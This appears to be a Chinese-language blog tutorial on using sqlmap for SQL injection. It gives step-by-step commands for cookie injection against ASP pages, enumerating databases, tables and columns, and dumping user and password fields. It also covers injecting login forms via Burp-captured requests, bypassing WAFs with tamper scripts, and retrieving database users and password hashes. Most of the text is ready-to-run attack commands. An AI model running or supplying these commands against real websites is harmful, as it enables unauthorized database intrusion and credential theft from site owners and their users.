常见SQLmap使用方法

ASP COOKIE注入

我在注射点参数上加and 1=1后,http://url/shownews.asp?id=93 and 1=1出现如下图所示的情况。



很明显,有防护呀.所以该读者默认参数注射是不能成功的。像这种情况,我们可以用SQLMAP的tamper参数来绕过试一下。不过在此之前,我们还是先试一下http://url/?id=1 有没有COOKIE注射。因为很多老的软防护waf只会对GET、POST进行保护,却忽略了COOKIE。
默认情况下SQLMAP只支持GET/POST参数的注入测试.现在使用cookie注入命令:

1
sqlmap.py -u "http://url/shownews.asp" --cookie "id=93" --level 2 --dbms "Microsoft Access"

PHP注入

(1)查找数据库

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" –dbs

(2)通过第一步的数据库查找表(假如数据库名为dataname)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname –tables

(3)通过2中的表得出列名(假如表为table_name)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname -T table_name –columns

(4)获取字段的值(假如扫描出id,user,password字段)

python sqlmap.py -u “http://www.xxx.com/link.php?id=321" -D dataname -T table_name -C “user,password” –dump

post登陆框注入

(1)其中的search-test.txt是通过抓包工具burp suite抓到的包并把数据保存为这个txt文件
我们在使用Sqlmap进行post型注入时,
经常会出现请求遗漏导致注入失败的情况。
这里分享一个小技巧,即结合burpsuite来使用sqlmap,
用这种方法进行post注入测试会更准确,操作起来也非常容易。

  1. 浏览器打开目标地址http:// www.xxx.com /Login.asp
  2. 配置burp代理(127.0.0.1:8080)以拦截请求
  3. 点击login表单的submit按钮
  4. 这时候Burp会拦截到了我们的登录POST请求
  5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
  6. 运行sqlmap并使用如下命令:
    ./sqlmap.py -r search-test.txt -p tfUPass
    这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
    而-p 大家应该比较熟悉,指定注入用的参数。

注入点:http://testasp.vulnweb.com/Login.asp
几种注入方式:

1
sqlmap.py -r search-test.txt -p tfUPass

(2)自动的搜索

1
sqlmap -u http://testasp.vulnweb.com/Login.asp --forms

(3)指定参数搜索

1
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=321&tfUPass=321"

绕过WAF防火墙

注入点:http://192.168.159.1/news.php?id=1

1
sqlmap -u http://192.168.159.1/news.php?id=1 -v 3 --dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替换space2hash.py或者base64encode.py或者charencode.py
都是编码方式
space2hash.py base64encode.py charencode.py

sqlmap详细命令

–is-dba 当前用户权限(是否为root权限)
–dbs 所有数据库
–current-db 网站当前数据库
–users 所有数据库用户
–current-user 当前数据库用户
–random-agent 构造随机user-agent
–passwords 数据库密码
–proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
相关连接地址:https://mrxn.net/Infiltration/sqlmap-teaches-share-all.html

-------------本文结束感谢您的阅读-------------